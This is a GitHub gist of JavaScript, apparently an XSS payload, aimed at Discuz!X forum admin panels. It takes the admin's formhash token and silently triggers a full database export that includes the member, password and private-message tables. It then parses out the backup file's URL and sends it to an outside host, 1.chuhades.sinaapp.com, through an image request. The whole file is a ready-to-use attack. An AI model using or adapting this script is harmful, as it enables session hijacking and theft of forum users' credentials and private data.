Skip to content

Instantly share code, notes, and snippets.

@Q2h1Cg
Last active December 31, 2015 14:49
Show Gist options
  • Save Q2h1Cg/8003021 to your computer and use it in GitHub Desktop.
Save Q2h1Cg/8003021 to your computer and use it in GitHub Desktop.
discuz !x 备份数据库。
function createXHR () {
var xmlhttp;
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else {
// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlhttp;
}
function get (xhr, url) {
xhr.open("GET", url, false);
xhr.send();
return xhr.responseText;
}
function post (xhr, url, data) {
xhr.open("POST", url, false);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send(data);
return xhr.responseText;
}
function get_formhash () {
if (document.getElementsByName("main")[0].contentDocument) {
var formhash = document.getElementsByName("main")[0].contentDocument.getElementsByName("formhash")[0].value;
} else {
var formhash = document.frames["main"].document.getElementsByName("formhash")[0].value;
}
return formhash;
}
function backup () {
var formhash = get_formhash();
var url1 = "admin.php?action=db&operation=export&setup=1";
var data = "formhash=" + formhash + "&scrolltop=&anchor=&type=discuz_uc&chkall=on&customtables%5B%5D=pre_common_admincp_cmenu&customtables%5B%5D=pre_common_admincp_group&customtables%5B%5D=pre_common_admincp_member&customtables%5B%5D=pre_common_admincp_perm&customtables%5B%5D=pre_common_admincp_session&customtables%5B%5D=pre_common_admingroup&customtables%5B%5D=pre_common_adminnote&customtables%5B%5D=pre_common_advertisement&customtables%5B%5D=pre_common_advertisement_custom&customtables%5B%5D=pre_common_banned&customtables%5B%5D=pre_common_block&customtables%5B%5D=pre_common_block_favorite&customtables%5B%5D=pre_common_block_item&customtables%5B%5D=pre_common_block_item_data&customtables%5B%5D=pre_common_block_permission&customtables%5B%5D=pre_common_block_pic&customtables%5B%5D=pre_common_block_style&customtables%5B%5D=pre_common_block_xml&customtables%5B%5D=pre_common_cache&customtables%5B%5D=pre_common_card&customtables%5B%5D=pre_common_card_log&customtables%5B%5D=pre_common_card_type&customtables%5B%5D=pre_common_connect_guest&customtables%5B%5D=pre_common_credit_log&customtables%5B%5D=pre_common_credit_log_field&customtables%5B%5D=pre_common_credit_rule&customtables%5B%5D=pre_common_credit_rule_log&customtables%5B%5D=pre_common_credit_rule_log_field&customtables%5B%5D=pre_common_cron&customtables%5B%5D=pre_common_devicetoken&customtables%5B%5D=pre_common_district&customtables%5B%5D=pre_common_diy_data&customtables%5B%5D=pre_common_domain&customtables%5B%5D=pre_common_failedip&customtables%5B%5D=pre_common_failedlogin&customtables%5B%5D=pre_common_friendlink&customtables%5B%5D=pre_common_grouppm&customtables%5B%5D=pre_common_invite&customtables%5B%5D=pre_common_magic&customtables%5B%5D=pre_common_magiclog&customtables%5B%5D=pre_common_mailcron&customtables%5B%5D=pre_common_mailqueue&customtables%5B%5D=pre_common_member&customtables%5B%5D=pre_common_member_action_log&customtables%5B%5D=pre_common_member_connect&customtables%5B%5D=pre_common_member_count&customtables%5B%5D=pre_common_member_crime&customtables%5B%5D=pre_common_member_field_forum&customtables%5B%5D=pre_common_member_field_home&customtables%5B%5D=pre_common_member_forum_buylog&customtables%5B%5D=pre_common_member_grouppm&customtables%5B%5D=pre_common_member_log&customtables%5B%5D=pre_common_member_magic&customtables%5B%5D=pre_common_member_medal&customtables%5B%5D=pre_common_member_newprompt&customtables%5B%5D=pre_common_member_profile&customtables%5B%5D=pre_common_member_profile_setting&customtables%5B%5D=pre_common_member_security&customtables%5B%5D=pre_common_member_secwhite&customtables%5B%5D=pre_common_member_stat_field&customtables%5B%5D=pre_common_member_status&customtables%5B%5D=pre_common_member_validate&customtables%5B%5D=pre_common_member_verify&customtables%5B%5D=pre_common_member_verify_info&customtables%5B%5D=pre_common_myapp&customtables%5B%5D=pre_common_myinvite&customtables%5B%5D=pre_common_mytask&customtables%5B%5D=pre_common_nav&customtables%5B%5D=pre_common_onlinetime&customtables%5B%5D=pre_common_optimizer&customtables%5B%5D=pre_common_patch&customtables%5B%5D=pre_common_plugin&customtables%5B%5D=pre_common_pluginvar&customtables%5B%5D=pre_common_process&customtables%5B%5D=pre_common_regip&customtables%5B%5D=pre_common_relatedlink&customtables%5B%5D=pre_common_remote_port&customtables%5B%5D=pre_common_report&customtables%5B%5D=pre_common_searchindex&customtables%5B%5D=pre_common_seccheck&customtables%5B%5D=pre_common_secquestion&customtables%5B%5D=pre_common_session&customtables%5B%5D=pre_common_setting&customtables%5B%5D=pre_common_smiley&customtables%5B%5D=pre_common_sphinxcounter&customtables%5B%5D=pre_common_stat&customtables%5B%5D=pre_common_statuser&customtables%5B%5D=pre_common_style&customtables%5B%5D=pre_common_stylevar&customtables%5B%5D=pre_common_syscache&customtables%5B%5D=pre_common_tag&customtables%5B%5D=pre_common_tagitem&customtables%5B%5D=pre_common_task&customtables%5B%5D=pre_common_taskvar&customtables%5B%5D=pre_common_template&customtables%5B%5D=pre_common_template_block&customtables%5B%5D=pre_common_template_permission&customtables%5B%5D=pre_common_uin_black&customtables%5B%5D=pre_common_usergroup&customtables%5B%5D=pre_common_usergroup_field&customtables%5B%5D=pre_common_visit&customtables%5B%5D=pre_common_word&customtables%5B%5D=pre_common_word_type&customtables%5B%5D=pre_connect_disktask&customtables%5B%5D=pre_connect_feedlog&customtables%5B%5D=pre_connect_memberbindlog&customtables%5B%5D=pre_connect_postfeedlog&customtables%5B%5D=pre_connect_tthreadlog&customtables%5B%5D=pre_forum_access&customtables%5B%5D=pre_forum_activity&customtables%5B%5D=pre_forum_activityapply&customtables%5B%5D=pre_forum_announcement&customtables%5B%5D=pre_forum_attachment&customtables%5B%5D=pre_forum_attachment_0&customtables%5B%5D=pre_forum_attachment_1&customtables%5B%5D=pre_forum_attachment_2&customtables%5B%5D=pre_forum_attachment_3&customtables%5B%5D=pre_forum_attachment_4&customtables%5B%5D=pre_forum_attachment_5&customtables%5B%5D=pre_forum_attachment_6&customtables%5B%5D=pre_forum_attachment_7&customtables%5B%5D=pre_forum_attachment_8&customtables%5B%5D=pre_forum_attachment_9&customtables%5B%5D=pre_forum_attachment_exif&customtables%5B%5D=pre_forum_attachment_unused&customtables%5B%5D=pre_forum_attachtype&customtables%5B%5D=pre_forum_bbcode&customtables%5B%5D=pre_forum_collection&customtables%5B%5D=pre_forum_collectioncomment&customtables%5B%5D=pre_forum_collectionfollow&customtables%5B%5D=pre_forum_collectioninvite&customtables%5B%5D=pre_forum_collectionrelated&customtables%5B%5D=pre_forum_collectionteamworker&customtables%5B%5D=pre_forum_collectionthread&customtables%5B%5D=pre_forum_creditslog&customtables%5B%5D=pre_forum_debate&customtables%5B%5D=pre_forum_debatepost&customtables%5B%5D=pre_forum_faq&customtables%5B%5D=pre_forum_filter_post&customtables%5B%5D=pre_forum_forum&customtables%5B%5D=pre_forum_forum_threadtable&customtables%5B%5D=pre_forum_forumfield&customtables%5B%5D=pre_forum_forumrecommend&customtables%5B%5D=pre_forum_groupcreditslog&customtables%5B%5D=pre_forum_groupfield&customtables%5B%5D=pre_forum_groupinvite&customtables%5B%5D=pre_forum_grouplevel&customtables%5B%5D=pre_forum_groupuser&customtables%5B%5D=pre_forum_hotreply_member&customtables%5B%5D=pre_forum_hotreply_number&customtables%5B%5D=pre_forum_imagetype&customtables%5B%5D=pre_forum_medal&customtables%5B%5D=pre_forum_medallog&customtables%5B%5D=pre_forum_memberrecommend&customtables%5B%5D=pre_forum_moderator&customtables%5B%5D=pre_forum_modwork&customtables%5B%5D=pre_forum_newthread&customtables%5B%5D=pre_forum_onlinelist&customtables%5B%5D=pre_forum_order&customtables%5B%5D=pre_forum_poll&customtables%5B%5D=pre_forum_polloption&customtables%5B%5D=pre_forum_polloption_image&customtables%5B%5D=pre_forum_pollvoter&customtables%5B%5D=pre_forum_post&customtables%5B%5D=pre_forum_post_location&customtables%5B%5D=pre_forum_post_moderate&customtables%5B%5D=pre_forum_post_tableid&customtables%5B%5D=pre_forum_postcache&customtables%5B%5D=pre_forum_postcomment&customtables%5B%5D=pre_forum_postlog&customtables%5B%5D=pre_forum_poststick&customtables%5B%5D=pre_forum_promotion&customtables%5B%5D=pre_forum_ratelog&customtables%5B%5D=pre_forum_relatedthread&customtables%5B%5D=pre_forum_replycredit&customtables%5B%5D=pre_forum_rsscache&customtables%5B%5D=pre_forum_sofa&customtables%5B%5D=pre_forum_spacecache&customtables%5B%5D=pre_forum_statlog&customtables%5B%5D=pre_forum_thread&customtables%5B%5D=pre_forum_thread_moderate&customtables%5B%5D=pre_forum_threadaddviews&customtables%5B%5D=pre_forum_threadcalendar&customtables%5B%5D=pre_forum_threadclass&customtables%5B%5D=pre_forum_threadclosed&customtables%5B%5D=pre_forum_threaddisablepos&customtables%5B%5D=pre_forum_threadhidelog&customtables%5B%5D=pre_forum_threadhot&customtables%5B%5D=pre_forum_threadimage&customtables%5B%5D=pre_forum_threadlog&customtables%5B%5D=pre_forum_threadmod&customtables%5B%5D=pre_forum_threadpartake&customtables%5B%5D=pre_forum_threadpreview&customtables%5B%5D=pre_forum_threadprofile&customtables%5B%5D=pre_forum_threadprofile_group&customtables%5B%5D=pre_forum_threadrush&customtables%5B%5D=pre_forum_threadtype&customtables%5B%5D=pre_forum_trade&customtables%5B%5D=pre_forum_tradecomment&customtables%5B%5D=pre_forum_tradelog&customtables%5B%5D=pre_forum_typeoption&customtables%5B%5D=pre_forum_typeoptionvar&customtables%5B%5D=pre_forum_typevar&customtables%5B%5D=pre_forum_warning&customtables%5B%5D=pre_home_album&customtables%5B%5D=pre_home_album_category&customtables%5B%5D=pre_home_appcreditlog&customtables%5B%5D=pre_home_blacklist&customtables%5B%5D=pre_home_blog&customtables%5B%5D=pre_home_blog_category&customtables%5B%5D=pre_home_blog_moderate&customtables%5B%5D=pre_home_blogfield&customtables%5B%5D=pre_home_class&customtables%5B%5D=pre_home_click&customtables%5B%5D=pre_home_clickuser&customtables%5B%5D=pre_home_comment&customtables%5B%5D=pre_home_comment_moderate&customtables%5B%5D=pre_home_docomment&customtables%5B%5D=pre_home_doing&customtables%5B%5D=pre_home_doing_moderate&customtables%5B%5D=pre_home_favorite&customtables%5B%5D=pre_home_feed&customtables%5B%5D=pre_home_feed_app&customtables%5B%5D=pre_home_follow&customtables%5B%5D=pre_home_follow_feed&customtables%5B%5D=pre_home_follow_feed_archiver&customtables%5B%5D=pre_home_friend&customtables%5B%5D=pre_home_friend_request&customtables%5B%5D=pre_home_friendlog&customtables%5B%5D=pre_home_notification&customtables%5B%5D=pre_home_pic&customtables%5B%5D=pre_home_pic_moderate&customtables%5B%5D=pre_home_picfield&customtables%5B%5D=pre_home_poke&customtables%5B%5D=pre_home_pokearchive&customtables%5B%5D=pre_home_share&customtables%5B%5D=pre_home_share_moderate&customtables%5B%5D=pre_home_show&customtables%5B%5D=pre_home_specialuser&customtables%5B%5D=pre_home_userapp&customtables%5B%5D=pre_home_userappfield&customtables%5B%5D=pre_home_visitor&customtables%5B%5D=pre_mobile_setting&customtables%5B%5D=pre_mobileoem_member&customtables%5B%5D=pre_mobileoem_pushthreads&customtables%5B%5D=pre_portal_article_content&customtables%5B%5D=pre_portal_article_count&customtables%5B%5D=pre_portal_article_moderate&customtables%5B%5D=pre_portal_article_related&customtables%5B%5D=pre_portal_article_title&customtables%5B%5D=pre_portal_article_trash&customtables%5B%5D=pre_portal_attachment&customtables%5B%5D=pre_portal_category&customtables%5B%5D=pre_portal_category_permission&customtables%5B%5D=pre_portal_comment&customtables%5B%5D=pre_portal_comment_moderate&customtables%5B%5D=pre_portal_rsscache&customtables%5B%5D=pre_portal_topic&customtables%5B%5D=pre_portal_topic_pic&customtables%5B%5D=pre_security_evilpost&customtables%5B%5D=pre_security_eviluser&customtables%5B%5D=pre_security_failedlog&customtables%5B%5D=pre_ucenter_admins&customtables%5B%5D=pre_ucenter_applications&customtables%5B%5D=pre_ucenter_badwords&customtables%5B%5D=pre_ucenter_domains&customtables%5B%5D=pre_ucenter_failedlogins&customtables%5B%5D=pre_ucenter_feeds&customtables%5B%5D=pre_ucenter_friends&customtables%5B%5D=pre_ucenter_mailqueue&customtables%5B%5D=pre_ucenter_memberfields&customtables%5B%5D=pre_ucenter_members&customtables%5B%5D=pre_ucenter_mergemembers&customtables%5B%5D=pre_ucenter_newpm&customtables%5B%5D=pre_ucenter_notelist&customtables%5B%5D=pre_ucenter_pm_indexes&customtables%5B%5D=pre_ucenter_pm_lists&customtables%5B%5D=pre_ucenter_pm_members&customtables%5B%5D=pre_ucenter_pm_messages_0&customtables%5B%5D=pre_ucenter_pm_messages_1&customtables%5B%5D=pre_ucenter_pm_messages_2&customtables%5B%5D=pre_ucenter_pm_messages_3&customtables%5B%5D=pre_ucenter_pm_messages_4&customtables%5B%5D=pre_ucenter_pm_messages_5&customtables%5B%5D=pre_ucenter_pm_messages_6&customtables%5B%5D=pre_ucenter_pm_messages_7&customtables%5B%5D=pre_ucenter_pm_messages_8&customtables%5B%5D=pre_ucenter_pm_messages_9&customtables%5B%5D=pre_ucenter_protectedmembers&customtables%5B%5D=pre_ucenter_settings&customtables%5B%5D=pre_ucenter_sqlcache&customtables%5B%5D=pre_ucenter_tags&customtables%5B%5D=pre_ucenter_vars&method=multivol&sizelimit=2048000&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=131210_YFY3Xe01&exportsubmit=%CC%E1%BD%BB";
var xhr = createXHR();
var response1 = post(xhr, url1, data);
var url2 = response1.split("redirect('")[1].split("')")[0];
var response2 = get(xhr, url2);
var backup_url = location.protocol + "//" + location.host + location.pathname.split("admin.php")[0] + response2.split('<ul><li><a href="')[1].split('">')[0].substr(2);
new Image().src = "http://1.chuhades.sinaapp.com/message.php?url="+encodeURIComponent(backup_url);
}
backup();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment